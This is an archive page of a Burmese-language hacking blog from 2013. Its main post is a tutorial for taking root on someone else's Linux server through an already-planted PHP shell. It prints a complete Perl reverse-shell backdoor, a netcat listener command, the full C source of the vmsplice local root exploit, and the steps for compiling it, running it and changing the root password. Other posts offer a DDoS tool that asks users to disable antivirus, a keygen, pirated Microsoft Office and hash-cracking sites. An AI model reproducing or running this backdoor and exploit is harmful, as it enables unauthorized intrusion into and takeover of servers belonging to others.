Backtrack 5 Cookbook စာအုပ္ကုိ Backtrack Myanmar ကေနမလာျပီး ျပန္ရွယ္လုိက္ပါတယ္။ လုိခ်င္သူမ်ား မႏုိင္ပါျပီ။ Author: Willie Pritchett, David De Smet Publisher:[PACK] File Size: 31 MB Pages: 296 Download: Dropbox Solidfiles
7/28/2013
7/27/2013
Linux Sever တစ္ခုကို ဘယ္လို Root လုပ္မလဲ
ပထမဆံုးအေနနဲ ့Root လုပ္မယ့္ Target Server ေပၚမွာ သင့္ရဲ ့ php shell ကို တစ္နည္းနည္းနဲ ့တင္ထားျပီးသားရွိဖို ့လိုအပ္ပါတယ္။ တကယ္လို ့သင့္မွာသာ permission ရွိျပီးသားဆိုရင္ေတာ့ butt.pl ဆိုတဲ ့new file တစ္ခု create လုပ္ရပါမယ္။ ( permission မရေသးရင္ေတာ့ Perl scrip ကို PHP inclusion နဲ ့execute
လုပ္လို ့ရပါတယ္ အဲ့လိုလုပ္တဲ့နည္းကိုလဲ ေနာက္သပ္သပ္ ကြ်န္ေတာ္ tutorial
ေရးေပးပါ့မယ္ ) ခုနက အသစ္ create လုပ္ထားတဲ့ butt.pl ထဲမွာထည့္ရမယ့္ code ေတြကေတာ့
ျပီးရင္ေတာ့ သင့္ Router ထဲကေန Port 8080 ကို forward လုပ္လုိက္ပါ။ ေအာက္က command ကို အသံုးျပဳျပီးေတာ့ shell ကို execute လုပ္ပါ။ ဒါမွမဟုတ္ php script သံုးမယ္ဆိုရင္ေတာ့ script ကို run လုိက္ပါ။ (မွတ္ခ်က္။ ။ php script သံုးမယ္ဆိုရင္ေတာ့ system ကို point လုပ္ဖို ့ script ကို manually change ေပးရမွာျဖစ္ပါတယ္။)
IP Address ကို သင့္ IP သို ့ေျပာင္းလိုက္ပါ။ ျပီးရင္ေတာ့ terminal ကိုဖြင့္ျပီး ေအာက္က command ကို အသံုးျပဳရပါမယ္။ ( Netcat ကိုေတာ့ install လုပ္ဖို ့လိုအပ္ပါမယ္ )
connect လုပ္လို ့ရ မရဆိုတာ ေသခ်ာဖို ့"uname -a;id" ဆိုတဲ့ command ကို သံုးျပီး confirm လုပ္ရပါ့မယ္။ ဒါဆိုရင္ေတာ့ kernel information ကို ရရွိမွာျဖစ္ျပီး အဲ့ info ကို အသံုးခ်ျပီး root လုပ္လုိ ့ရပါျပီ။ ဒီအဆင့္မွာေတာ့ exploit ကို compile လုပ္ဖို ့လိုအပ္လာပါျပီ။ Linux Server အမ်ားစုက compilers ေတြ ကို disable လုပ္ထားေလ့ရွိပါတယ္။ ဒါေၾကာင့္ ကိုယ့္ computer ကေန compile လုပ္ရမွာျဖစ္ပါတယ္။ သတိျပဳဖို ့အေရးၾကီးတာက Window OS ကေနျပီး cross compile လုပ္လို ့မရဘူးဆိုတာပါပဲ။ Linux OS တစ္ခုခု ကေနပဲ compile လုပ္လို ့ရမွာပဲျဖစ္ပါတယ္။ ေအာက္မွာ က်ေနာ္ ျပမယ့္ exploit ဟာ kernel ေတာ္ေတာ္မ်ားမ်ားမွာ 100% အလုပ္လုပ္ပါတယ္။ text file တစ္ခု ဖြင့္ျပီး ေအာက္မွာေဖာ္ျပထားတဲ့ code ကို copy/paste လုပ္ျပီး dongs.c ဆိုျပီး save လုပ္လုိက္ပါ။
ေနာက္ထပ္ Terminal အသစ္တစ္ခုထပ္ဖြင့္ျပီး ဒီ command ကို ရိုက္လိုက္ပါ။
ျပီးရင္ေတာ့ ခုနက save လုပ္ထားတဲ့ dongs ဆိုတဲ့ txt file ကို server ထဲက PHP Shell ေပၚကို upload လုပ္လိုက္ပါ။ ဒီအဆင့္ျပီးရင္ေတာ့ Terminal ကို ျပန္သြားျပီး Netcat ကို လဲ connect လုပ္ထားျပီးရင္ေတာ့ ေအာက္ကေပးထားတဲ့ code ကို ရိုက္ထည့္လိုက္ပါ။
ဒါဆိုရင္ေတာ့ exploit ဟာ ေကာင္းေကာင္းအလုပ္လုပ္ျပီး သင့္ကို root access ရရွိေစမွာျဖစ္ပါတယ္။
ေနာက္ဆံုးအဆင့္အေနနဲ ့ root password ကို change ဖို ့ "passwd root" ဆိုတဲ့ command ကိုအသံုးျပဳျပီးေတာ့ ေျပာင္းခ်င္ေျပာင္း ဒါမွမဟုတ္ new root user ဆိုျပီး အသစ္ create ထပ္လုပ္ရင္လုပ္လိုက္ပါ။ ဒါဆိုရင္ေတာ့ Linux Server တစ္ခုကို Root လုပ္လုိ ့ျပီးသြားျပီျဖစ္ပါတယ္။
Copy from: http://koalpha.blogspot.com
Read more »
#!/usr/bin/perl
use IO::Socket;
$system = '/bin/bash';
$ARGC=@ARGV;
print "IHS BACK-CONNECT BACKDOOR\n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "IHS BACK-CONNECT BACKDOOR \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
ျပီးရင္ေတာ့ သင့္ Router ထဲကေန Port 8080 ကို forward လုပ္လုိက္ပါ။ ေအာက္က command ကို အသံုးျပဳျပီးေတာ့ shell ကို execute လုပ္ပါ။ ဒါမွမဟုတ္ php script သံုးမယ္ဆိုရင္ေတာ့ script ကို run လုိက္ပါ။ (မွတ္ခ်က္။ ။ php script သံုးမယ္ဆိုရင္ေတာ့ system ကို point လုပ္ဖို ့ script ကို manually change ေပးရမွာျဖစ္ပါတယ္။)
perl butts.pl 192.168.0.254 8080
IP Address ကို သင့္ IP သို ့ေျပာင္းလိုက္ပါ။ ျပီးရင္ေတာ့ terminal ကိုဖြင့္ျပီး ေအာက္က command ကို အသံုးျပဳရပါမယ္။ ( Netcat ကိုေတာ့ install လုပ္ဖို ့လိုအပ္ပါမယ္ )
nc -vv -l -n -p 8080
connect လုပ္လို ့ရ မရဆိုတာ ေသခ်ာဖို ့"uname -a;id" ဆိုတဲ့ command ကို သံုးျပီး confirm လုပ္ရပါ့မယ္။ ဒါဆိုရင္ေတာ့ kernel information ကို ရရွိမွာျဖစ္ျပီး အဲ့ info ကို အသံုးခ်ျပီး root လုပ္လုိ ့ရပါျပီ။ ဒီအဆင့္မွာေတာ့ exploit ကို compile လုပ္ဖို ့လိုအပ္လာပါျပီ။ Linux Server အမ်ားစုက compilers ေတြ ကို disable လုပ္ထားေလ့ရွိပါတယ္။ ဒါေၾကာင့္ ကိုယ့္ computer ကေန compile လုပ္ရမွာျဖစ္ပါတယ္။ သတိျပဳဖို ့အေရးၾကီးတာက Window OS ကေနျပီး cross compile လုပ္လို ့မရဘူးဆိုတာပါပဲ။ Linux OS တစ္ခုခု ကေနပဲ compile လုပ္လို ့ရမွာပဲျဖစ္ပါတယ္။ ေအာက္မွာ က်ေနာ္ ျပမယ့္ exploit ဟာ kernel ေတာ္ေတာ္မ်ားမ်ားမွာ 100% အလုပ္လုပ္ပါတယ္။ text file တစ္ခု ဖြင့္ျပီး ေအာက္မွာေဖာ္ျပထားတဲ့ code ကို copy/paste လုပ္ျပီး dongs.c ဆိုျပီး save လုပ္လုိက္ပါ။
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!@#$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
ေနာက္ထပ္ Terminal အသစ္တစ္ခုထပ္ဖြင့္ျပီး ဒီ command ကို ရိုက္လိုက္ပါ။
gcc dongs.c -o dongs
ျပီးရင္ေတာ့ ခုနက save လုပ္ထားတဲ့ dongs ဆိုတဲ့ txt file ကို server ထဲက PHP Shell ေပၚကို upload လုပ္လိုက္ပါ။ ဒီအဆင့္ျပီးရင္ေတာ့ Terminal ကို ျပန္သြားျပီး Netcat ကို လဲ connect လုပ္ထားျပီးရင္ေတာ့ ေအာက္ကေပးထားတဲ့ code ကို ရိုက္ထည့္လိုက္ပါ။
./dongs
ဒါဆိုရင္ေတာ့ exploit ဟာ ေကာင္းေကာင္းအလုပ္လုပ္ျပီး သင့္ကို root access ရရွိေစမွာျဖစ္ပါတယ္။
ေနာက္ဆံုးအဆင့္အေနနဲ ့ root password ကို change ဖို ့ "passwd root" ဆိုတဲ့ command ကိုအသံုးျပဳျပီးေတာ့ ေျပာင္းခ်င္ေျပာင္း ဒါမွမဟုတ္ new root user ဆိုျပီး အသစ္ create ထပ္လုပ္ရင္လုပ္လိုက္ပါ။ ဒါဆိုရင္ေတာ့ Linux Server တစ္ခုကို Root လုပ္လုိ ့ျပီးသြားျပီျဖစ္ပါတယ္။
Copy from: http://koalpha.blogspot.com
Labels:
Hacking
7/26/2013
Inside Out Windows 8
Windows 8 စာအုပ္ေလးတင္ေပးလုိက္ပါတယ္။ Author: Tony Northup File Size: 27.9 MB Published by Microsoft Press Content of Table Introduction, Getting Started, File Management System, Music Videos Tv & Movies, Security and Privacy, Networking, Maintaining, turning & Troubleshooting.
Universal Keygen Generator
Universal Keygen Generator ဆုိေတာ့ ေနာက္ထပ္ရွင္းျပစရာမရွိေတာ့ဘူးထင္ပါတယ္။ ဖုိင္ဆုိဒ္ကလည္း ေသးေသးေလးရယ္။ အသုံးျပဳနည္းကလည္း လြယ္ပါတယ္။ ဒီေကာင္ကုိ ဘူေရမ်က္ရြာဆုိလားမသိဘူး။ အဲဒီကေန မလာပါတယ္။ လုိခ်င္တဲ့ Key ေတာ္ေတာ္မ်ားမ်ားကုိ ေပးႏုိင္လိမ့္မယ္လုိ႔ ေမ်ာ္လင့္ပါတယ္။
Download: Solidfiles Dropbox
Labels:
Keygens
7/25/2013
Anonymous-DoS
DDos Tool ေလးတစ္ခုပါပဲ။ ဖုိင္က .exe မဟုတ္ပါဘူး။ .hta အမ်ဳိးစားပါ။ Antivirus ကုိေတာ့ ခဏပိတ္ထားဖုိ႔ လုိပါလိမ့္မယ္။ Download Link အတြက္ မူရင္း sourceforge.net ကေနပဲညြန္းေပးလုိက္ပါတယ္။ ဖုိင္ဆုိဒ္ကလည္းေသးေသးေလးပါပဲ။
Labels:
DDoS,
Hacking Tools
MD5 Cracking Sites
MD5 Hash ကုိ crack ေပးမယ့္ဆုိဒ္ေတြကုိ စုစည္းေဖာ္ျပလုိက္ပါတယ္ဗ်ာ။ လုိရမယ္ရ သုံးလုိ႔ရေအာင္။ ကြ်န္ေတာ္တုန္းကေတာ့ ဆုိဒ္တစ္ခုမွ အဆင္မေျပပါဘူး။ :(
* http://www.md5-db.com/index.php
* http://plain-text.info/add/
* http://www.tmto.org/
* https://hashcracking.ru/
* http://www.md5-db.com/index.php
* http://plain-text.info/add/
* http://www.tmto.org/
* https://hashcracking.ru/
Labels:
Cracking
သင္ေသသြားေသာ္ သင့္ Gmail Account မည္သုိ႔ျဖစ္မည္နည္း
တကယ္လုိ႔မ်ားေပါ့။ ကိုယ္သာ ေသသြားခဲ့ရင္ မိမိ Gmail, Facebook အေကာင့္ေတြဘယ္လုိျဖစ္မွာလဲလုိ႔ စဥ္းစားဖူးပါသလား။ လူဆုိတာ ေသမ်ဳိးပဲေလ။ ဘယ္ေန႔ေသရမယ္ဆုိတာသာ မသိႏုိင္တာ။ ဒီေတာ့ တကယ္လုိ႔မ်ားဆုိျပီး ဒီပုိ႔စ္ကုိေရးလုိက္ပါတယ္။ အနည္းဆုံးေတာ့ ဗဟုသုတအျဖစ္နဲ႔ ဖတ္ၾကည့္ေပါ့ဗ်ာ။
Labels:
Gmail,
Tips and Tricks
How to Browse Anonymously
ကြ်န္ေတာ္တုိ႔အေၾကာင္းအမ်ဳိးမ်ဳိးေၾကာင့္ အင္တာနက္မွာ Anonymous အျဖစ္သြားလုိတဲ့အခါ အလြန္လြယ္ကူတဲ့နည္းနဲ႔သြားလုိ႔ရပါတယ္။ ဥပမာ မိမိ IP ကုိ Hide ခ်င္တဲ့အခါ၊ ဒါမွမဟုတ္ DDoS Attack လုပ္တဲ့အခါ၊ ဒါမွမဟုတ္ တစ္ခုခုေပါ့ :D Hide My IP လုိေဆာ့ဝဲလ္ေတြသုံးရင္ေတာ့ရပါတယ္။ ဒါေပမယ့္ သုံးရတာလက္ေပါက္ကပ္ပါတယ္။ Full version မျဖစ္တာတုိ႔၊ ဘာညာေပါ့။ ကဲ ဒီနည္းလမ္းကေတာ့ လြယ္ပါတယ္။ ဒီနည္းကုိ ဟုိအရင္ရက္ေတြက DDos လုပ္ၾကတုန္းကေတြ႕ထားတာပါ။ ေနာက္မွ Bro တစ္ေယာက္ေရးထားတာေတြ႕လုိျပန္ေရးလုိက္တာပါ။ အရင္ဆုံး Mozilla အတြက္ AnonymoX ဆုိတဲ့ extension ကုိသြင္းလုိက္ပါ။ ဒီအတြက္ https://addons.mozilla.org/en-us/firefox/addon/anonymox/ မွာသြားပါ။ Addon ကုိေဒါင္းေနပါလိမ့္မယ္။ ခဏေစာင့္ပါ။
Labels:
Tips and Tricks
7/24/2013
How to Protect your WordPress
ကြ်န္ေတာ္ အသိညီတစ္ေယာက္ သူက WP site တစ္ခုနဲ႔ Run ထားေတာ့ အဟတ္မခံရေအာင္ဘယ္လုိလုပ္မလဲေမးလုိ႔ ကြ်န္ေတာ္လည္း Google ထဲကေန ေကာင္းႏုိးရာရာ ေရြးျပီး ျပန္ရွယ္လုိက္ပါတယ္ခင္ဗ်ာ။ ေျပာရရင္ ကြ်န္ေတာ္က WP Site ေတြမကုိင္ဖူးေတာ့ ဟတ္ဖုိ႔ေနသာသာ ရမ္းသမ္းျပီးဘာသာျပန္ထားျခင္းသာျဖစ္လုိ႔ လုိအပ္တာမ်ားရွိရင္ တတ္သိနားလည္သူမ်ားအေနနဲ႔ နားလည္ေပးၾကပါခင္ဗ်ာ။ :D
Labels:
Hacking,
Tips and Tricks
Session Hijacking ဆိုတာဘာလဲ ?
Session Hijacking ဆိုတာဘာလဲ ?
Session Hijacking လုပ္တယ္ဆိုတာ ရွိျပီးသား active session တစ္ခုကို ခိုးယူျခင္းပဲျဖစ္ပါတယ္။ Session Hijacking လုပ္ျခင္းရဲ ့အဓိက ရည္ရြယ္ခ်က္ကေတာ့ authentication process ကို bypass လုပ္ျခင္းျဖင့္ website တစ္ခု သို ့မဟုတ္ computer တစ္လံုးကုိ unauthorized access ကို ရယူဖို ့ပဲျဖစ္ပါတယ္။ အရိုးရွင္းဆံုးေျပာရရင္ေတာ့ attacker ဟာ တစ္ျခား client တစ္ေယာက္ရဲ ့ session နဲ ့login လုပ္ျခင္းပဲျဖစ္ပါတယ္။
Labels:
Hacking,
Knowledges
Microsoft Office Professional Plus Final Edition 2013 (×32 ×64)
Microsoft Office Professional Plus Final Edition 2013 ကုိရွယ္ေပးလုိက္ပါတယ္။ 32 Bit နဲ႕ 64 Bit အတြက္ဆုိျပီးပါပါတယ္။ ကြ်န္ေတာ္ကုိယ္တုိင္ 64 အတြက္ေဒါင္းပီးစမ္းၾကည့္ထားတာမုိ႔ Link အတြက္ Resume ရပါတယ္။ ဖုိင္ဆုိဒ္ကေတာ့ 900 MB ေက်ာ္ေလာက္ရွိပါတယ္။ လုိခ်င္တယ္ဆုိရင္ ေဒါင္းႏုိင္ပါျပီ။
Labels:
Microsoft Office
Sniper: Ghost Warrior Demo
Sniper Game ေတြေဆာ့ရတာ တကယ္ရင္ခုန္ဖုိ႔ေကာင္းပါတယ္။ ကုိယ္တုိင္ စႏုိက္ပါတစ္ေယာက္လုိ အသည္းတယားယားနဲ႔ အခ်ိန္ဘယ္လုိကုန္လုိ႔ ကုန္မွန္းေတာင္သိမွာမဟုတ္ဘူး။ ဒီဂိမ္းကလည္း First Person Shooter အမ်ဳိးအစားပါပဲ။ မေဒါင္းခင္ မိမိစက္နဲ႕ ကုိက္ညီမွဳ ရွိမရွိ အရင္စစ္ၾကည့္ၾကပါအုံး။ ကြ်န္ေတာ္လည္း ဘေလာေတြထဲကလုိက္ေမႊရင္း အဆင္ေျပမယ္ထင္တဲ့ Link ကေနျပန္ရွယ္လုိက္တာပါ။ ဒါက Demo version ပဲရွိပါေသးတယ္။ ေနာက္မွ Sniper 2 အတြက္ Download Link ေကာင္းေကာင္းေလးေတြ႕ရင္ ျပန္မွ်ပါအုံးမယ္။ ဖုိင္ေတြက
Labels:
Games
7/23/2013
Set DNS Pro : အင္တာနက္အျမန္ႏွုန္းကို ျမွင့္တင္ေပးႏုိင္တဲ့ Android App
Domain Name Server (or) DNS ဆိုတာ လူေတြ မွတ္ရလြယ္တဲ့ Web Address (eg. www.google.com) ကို ကြန္ျပဴတာေတြ နားလည္တဲ့ IP Address ေတြ အျဖစ္ေျပာင္းလဲ ေပးတာပါ။ဥပမာ သင္က facebook.com လို ့ရိုက္လိုက္တယ္ဆိုပါစို ့။ DNS server က IP address အျဖစ္ေျပာင္းလဲေပးလိုက္ပါတယ္။အဲဒီအခါက်မွသင္က facebook ကို အသံုးျပဳလို ့ရတာပါ။သင္ ၀က္ဆိုက္တစ္ခု ဖြင့္တိုင္း DNS server ကၾကားထဲကေနအလုပ္လုပ္ေပးေနတာပါ။ အဲဒီအတြက္ အင္တာနက္အျမန္ႏွုန္းက DNS
Labels:
Android
WebDav Scanner V3
Web Scanner tool ေလးတစ္ခုပါပဲ။ ဒီေဆာ့ဝဲလ္ေလးကုိေတာ့ kiddomonstar site ကေနျပန္ရွယ္ထားတာပါ။ ကြ်န္ေတာ္စမ္းၾကည့္တာေတာ့ သိပ္မေအာင္ျမင္ပါဘူး။ ဒါေပမယ့္ စမ္းၾကည့္ပါ။ ကြ်န္ေတာ္က ေသေသခ်ာခ်ာစမ္းထားတာ မဟုတ္ေတာ့ ခင္ဗ်ားတုိ႔အလွည့္က်ရင္ အဆင္ေျပေကာင္းအဆင္ေျပမွာေပါ့။ ေအာက္မွာ မူရင္းပုိ႔စ္ကုိပါ ေရးေပးလုိက္ပါတယ္။
Labels:
Hacking Tools,
Scanner
Subscribe to:
Posts (Atom)











